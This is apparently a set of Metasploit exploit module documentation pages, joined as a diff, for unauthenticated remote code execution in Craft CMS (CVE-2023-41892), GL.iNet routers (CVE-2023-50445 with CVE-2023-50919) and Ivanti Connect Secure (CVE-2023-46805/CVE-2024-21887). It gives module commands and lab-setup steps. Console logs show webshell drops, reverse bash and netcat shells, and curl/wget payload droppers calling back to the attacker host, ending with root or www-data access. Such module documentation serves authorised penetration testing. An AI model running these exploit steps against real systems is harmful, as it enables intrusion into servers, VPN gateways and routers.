This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular
|
||||
content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability
|
||||
allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity
|
||||
of the application.
|
||||
|
||||
The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class
|
||||
which allows to run arbitary PHP code by escalating the object creation calling some methods available in
|
||||
`\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which
|
||||
stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that
|
||||
facilitates the reading of images, performance of image processing tasks, and writing of results back
|
||||
to the filesystem. This can be leveraged to create a dummy image containing mailcious PHP code using the
|
||||
Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the
|
||||
malicious PHP code and gaining access to the system.
|
||||
|
||||
Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain
|
||||
access to the underlying operating system as the user that the web services are running as (typically www-data).
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2023-41892
|
||||
https://blog.calif.io/p/craftcms-rce
|
||||
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
|
||||
https://github.com/advisories/GHSA-4w8r-3xrw-v25g
|
||||
https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892
|
||||
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
|
||||
## Options
|
||||
### WEBSHELL
|
||||
You can use this option to set the filename of the webshell with extension `.php`, otherwise the name will be randomly generated.
|
||||
|
||||
### COMMAND
|
||||
This option provides the user to choose the PHP underlying shell command function to be used for execution.
|
||||
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
|
||||
This option is only available when the target selected is either Unix Command or Linux Dropper.
|
||||
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.
|
||||
|
||||
## Scenarios
|
||||
### CraftCMS 4.4.14 on MacOS PHP - php/meterpreter/reverse_tcp
|
||||
```shell
|
||||
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (39927 bytes) to 192.168.201.25
|
||||
[+] Deleted /var/www/html/web/CDfbvAnrZMH.php
|
||||
[+] Deleted /tmp/php5M63PK
|
||||
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.25:51044) at 2023-12-17 12:31:55 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : craftcms-vuln-web
|
||||
OS : Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter >
|
||||
```
|
||||
### CraftCMS 4.4.14 on MacOS Unix Command - cmd/unix/reverse_bash
|
||||
```shell
|
||||
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Executing Unix Command for cmd/unix/reverse_bash
|
||||
[+] Deleted /var/www/html/web/XGCuZFdoia.php
|
||||
[+] Deleted /tmp/phpakTlmu
|
||||
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.25:51101) at 2023-12-17 12:34:34 +0000
|
||||
|
||||
uname -a
|
||||
Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 GNU/Linux
|
||||
id
|
||||
uid=501(www-data) gid=20(dialout) groups=20(dialout)```
|
||||
### CraftCMS 4.4.14 on MacOS Linux Dropper - linux/x64/meterpreter/reverse_tcp
|
||||
```shell
|
||||
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 2
|
||||
target => 2
|
||||
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
|
||||
[*] Using URL: http://192.168.201.8:8080/bzzA52uoIqWP
|
||||
[*] Client 192.168.201.25 (Wget/1.21) requested /bzzA52uoIqWP
|
||||
[*] Sending payload to 192.168.201.25 (Wget/1.21)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.201.25
|
||||
[+] Deleted /var/www/html/web/sFQEhvKKcl.php
|
||||
[+] Deleted /tmp/phpeQPKpy
|
||||
[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.25:51122) at 2023-12-17 12:35:54 +0000
|
||||
[*] Command Stager progress - 100.00% done (118/118 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.16.2
|
||||
OS : Debian 11.8 (Linux 6.4.16-linuxkit)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter >
|
||||
```
|
||||
## Limitations
|
||||
Part of the exploit is the MSL script creation triggered by the Imagick plugin module. These files are created in the directory
|
||||
set by the `upload_tmp_dir` setting in the `php.ini` file (default `/tmp`). These files are automatically cleaned, but in case of
|
||||
any failure cleaning these files, do clean them manually otherwise the next exploit session will fail using an outdated MSL file.
|
||||
These files start with `php` and you can list them with the command `ls php*`.
|
||||
@@ -0,0 +1,319 @@
|
||||
## Vulnerable Application
|
||||
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute
|
||||
arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` interface in the `logread` module.
|
||||
This exploit requires post-authentication using the `AdminToken` cookie / session ID (`SID`), typically stolen by the attacker.
|
||||
|
||||
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a `Lua`
|
||||
string pattern matching and SQL injection vulnerability.
|
||||
The `AdminToken` cookie / `SID` can be retrieved without knowing a valid username and password.
|
||||
|
||||
The following GL.iNet network products are vulnerable:
|
||||
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
|
||||
- MT6000: v4.5.0 - v4.5.3;
|
||||
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
|
||||
- E750/E750V2, MV1000: v4.3.8;
|
||||
- X3000: v4.0.0 - v4.4.2;
|
||||
- XE3000: v4.0.0 - v4.4.3;
|
||||
- SFT1200: v4.3.6;
|
||||
- and potentially others (just try ;-)
|
||||
|
||||
## Installation
|
||||
Ideally, to test this module, you would need a vulnerable GL.iNet device.
|
||||
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
|
||||
we can simulate the router and test the vulnerable endpoint.
|
||||
|
||||
This module has been tested via FirmAE running on Kali Linux 2023.11 at the following emulated targets:
|
||||
* GL.iNet Router model AR300M with firmware v4.3.7
|
||||
* GL.iNet Router model AR300M16 with firmware v4.3.7
|
||||
* GL.iNet Router model MT300N-V2 with firmware v4.3.7
|
||||
* GL.iNet Router model MT1300 with firmware v4.3.7
|
||||
|
||||
### Installation steps to emulate the router firmware with FirmAE
|
||||
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
|
||||
* To emulate the specific firmware that comes with the GL.iNet devices, `binwalk` might need to be able to handle a sasquatch filesystem.
|
||||
* Find the additional installation/compilation steps [here](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
|
||||
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
|
||||
* Download the vulnerable firmware from GL.iNet [here](https://dl.gl-inet.com/?model=ar300m16).
|
||||
* We will pick `openwrt-ar300m16-4.3.7-0913-1694589994.bin` for the demonstration.
|
||||
* Start emulation.
|
||||
* First run `./init.sh` to initialize and start the Postgress database.
|
||||
* Start a debug session `./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin`
|
||||
* This will take a while, but in the end you should see the following...
|
||||
|
||||
```shell
|
||||
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
|
||||
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!!
|
||||
[*] extract done!!!
|
||||
[*] get architecture done!!!
|
||||
mke2fs 1.47.0 (5-Feb-2023)
|
||||
mknod: /dev/console: File exists
|
||||
e2fsck 1.47.0 (5-Feb-2023)
|
||||
[*] infer network start!!!
|
||||
|
||||
[IID] 91
|
||||
[MODE] debug
|
||||
[+] Network reachable on 192.168.1.1!
|
||||
[+] Run debug!
|
||||
Creating TAP device tap91_0...
|
||||
Set 'tap91_0' persistent and owned by uid 0
|
||||
Bringing up TAP device...
|
||||
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1
|
||||
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
|
||||
import telnetlib
|
||||
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994
|
||||
[*] IP - 192.168.1.1
|
||||
[*] connecting to netcat (192.168.1.1:31337)
|
||||
[-] failed to connect netcat
|
||||
------------------------------
|
||||
| FirmAE Debugger |
|
||||
------------------------------
|
||||
1. connect to socat
|
||||
2. connect to shell
|
||||
3. tcpdump
|
||||
4. run gdbserver
|
||||
5. file transfer
|
||||
6. exit
|
||||
> 1
|
||||
/ #
|
||||
/ # ifconfig
|
||||
ifconfig
|
||||
br-lan Link encap:Ethernet HWaddr 52:54:00:12:34:56
|
||||
inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:392 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:0
|
||||
RX bytes:33970 (33.1 KiB) TX bytes:0 (0.0 B)
|
||||
|
||||
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:427 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:42072 (41.0 KiB) TX bytes:5068 (4.9 KiB)
|
||||
|
||||
eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:940 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:0 (0.0 B) TX bytes:321480 (313.9 KiB)
|
||||
|
||||
lo Link encap:Local Loopback
|
||||
inet addr:127.0.0.1 Mask:255.0.0.0
|
||||
inet6 addr: ::1/128 Scope:Host
|
||||
UP LOOPBACK RUNNING MTU:65536 Metric:1
|
||||
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:0
|
||||
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
|
||||
|
||||
/ # netstat -rn
|
||||
netstat -rn
|
||||
Kernel IP routing table
|
||||
Destination Gateway Genmask Flags MSS Window irtt Iface
|
||||
192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan
|
||||
```
|
||||
|
||||
* You should now be able to `ping` the network address 192.168.8.1 from your host.
|
||||
* Run a `nmap` command to check the services (HTTP TCP port 80).
|
||||
* NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
|
||||
* You can change this with: `ip a del 192.168.1.2/24 dev tap91_0` and `ip a add 192.168.8.2/24 dev tap91_0`.
|
||||
|
||||
```shell
|
||||
# ifconfig tap91_0
|
||||
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
|
||||
inet 192.168.1.2 netmask 255.255.255.0 broadcast 0.0.0.0
|
||||
inet6 fe80::6c06:aff:fefb:ab29 prefixlen 64 scopeid 0x20<link>
|
||||
ether 6e:06:0a:fb:ab:29 txqueuelen 1000 (Ethernet)
|
||||
RX packets 39 bytes 4692 (4.5 KiB)
|
||||
RX errors 0 dropped 0 overruns 0 frame 0
|
||||
TX packets 50 bytes 4044 (3.9 KiB)
|
||||
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
|
||||
```
|
||||
```shell
|
||||
# ping 192.168.8.1
|
||||
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
|
||||
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms
|
||||
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms
|
||||
^C
|
||||
--- 192.168.8.1 ping statistics ---
|
||||
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
|
||||
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
|
||||
# nmap 192.168.8.1
|
||||
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC
|
||||
Nmap scan report for 192.168.8.1
|
||||
Host is up (0.020s latency).
|
||||
Not shown: 997 closed tcp ports (reset)
|
||||
PORT STATE SERVICE
|
||||
53/tcp open domain
|
||||
80/tcp open http
|
||||
443/tcp open https
|
||||
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)
|
||||
```
|
||||
You are now ready to test the module using the emulated router hardware on IP address `192.168.8.1`.
|
||||
|
||||
## Verification Steps
|
||||
- [x] Start `msfconsole`
|
||||
- [x] `use exploit/linux/http/glinet_unauth_rce_cve_2023_50445`
|
||||
- [x] `set rhosts <ip-target>`
|
||||
- [x] `set lhost <ip-attacker>`
|
||||
- [x] `set target <0=Unix Command, 1=Linux Dropper>`
|
||||
- [x] `exploit`
|
||||
|
||||
You should get a `shell` or `Meterpreter`.
|
||||
|
||||
```shell
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info
|
||||
|
||||
Name: GL.iNet Unauthenticated Remote Command Execution via the logread module.
|
||||
Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
|
||||
Platform: Unix, Linux
|
||||
Arch: cmd, mipsle, mipsbe, armle
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2013-12-10
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
Unknown
|
||||
DZONERZY
|
||||
|
||||
Module side effects:
|
||||
ioc-in-logs
|
||||
artifacts-on-disk
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Unix Command
|
||||
1 Linux Dropper
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (UDP)
|
||||
SID no Session ID
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
|
||||
n all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
|
||||
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
|
||||
interface in the `logread` module.
|
||||
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
|
||||
by the attacker.
|
||||
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
|
||||
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
|
||||
retrieved without knowing a valid username and password.
|
||||
|
||||
The following GL.iNet network products are vulnerable:
|
||||
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
|
||||
- MT6000: v4.5.0 - v4.5.3;
|
||||
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
|
||||
- E750/E750V2, MV1000: v4.3.8;
|
||||
- X3000: v4.0.0 - v4.4.2;
|
||||
- XE3000: v4.0.0 - v4.4.3;
|
||||
- SFT1200: v4.3.6;
|
||||
- and potentially others (just try ;-)
|
||||
|
||||
NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads
|
||||
when using the Linux Dropper target.
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2023-50445
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2023-50919
|
||||
https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445
|
||||
https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919
|
||||
https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html
|
||||
https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md
|
||||
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
|
||||
## Options
|
||||
### SID
|
||||
This is the SessionID (`SID`) which you need for authentication.
|
||||
The module will exploit and grab the `SID` autmatically, but you can also provide it manually by using this option.
|
||||
|
||||
## Scenarios
|
||||
### FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat
|
||||
```shell
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.8.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.8.1:80 can be exploited.
|
||||
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
|
||||
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI
|
||||
[*] Executing Unix Command for cmd/unix/reverse_netcat
|
||||
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000
|
||||
|
||||
pwd
|
||||
/
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
|
||||
uname -a
|
||||
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
|
||||
exit
|
||||
```
|
||||
### FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp
|
||||
```shell
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.8.2:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.8.1:80 can be exploited.
|
||||
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
|
||||
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e
|
||||
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
|
||||
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w
|
||||
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w
|
||||
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
|
||||
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000
|
||||
[*] Command Stager progress - 100.00% done (117/117 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.8.1
|
||||
OS : (Linux 4.1.17+)
|
||||
Architecture : mips
|
||||
BuildTuple : mips-linux-muslsf
|
||||
Meterpreter : mipsbe/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads when using the Linux Dropper target.
|
||||
@@ -0,0 +1,174 @@
|
||||
## Vulnerable Application
|
||||
This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection
|
||||
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
|
||||
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
|
||||
22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are
|
||||
also vulnerable.
|
||||
|
||||
## Testing
|
||||
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
|
||||
below steps are for HyperV, but it should be very similar to install on VMWare.
|
||||
|
||||
* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
|
||||
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
|
||||
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
|
||||
* Boot the VM and follow the console instructions to install the product.
|
||||
* After installation completes, you will have created an admin account and password. You can log into the admin
|
||||
web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set target 0`
|
||||
5. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
|
||||
6. `check`
|
||||
7. `exploit`
|
||||
|
||||
## Scenarios
|
||||
To support a broad set of available payloads, we support both a Linux target and a Unix Target. This allows for native
|
||||
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.
|
||||
|
||||
### Linux Target
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set RHOST 192.168.86.111
|
||||
RHOST => 192.168.86.111
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME DbFmtsbLwkUU no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
|
||||
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.111
|
||||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.111:27576) at 2024-01-17 10:16:52 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.111
|
||||
OS : (Linux 4.15.18.34-production)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Unix Target
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/unix/reverse_bash
|
||||
PAYLOAD => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
|
||||
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
|
||||
[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.111:27582) at 2024-01-17 10:19:19 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux localhost2 4.15.18.34-production #1 SMP Fri Jun 17 13:08:47 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
|
||||
pwd
|
||||
/data/var/cores
|
||||
cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
exit
|
||||
[*] 192.168.86.111 - Command shell session 2 closed.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) >
|
||||
```
|
||||
@@ -0,0 +1,189 @@
|
||||
## Vulnerable Application
|
||||
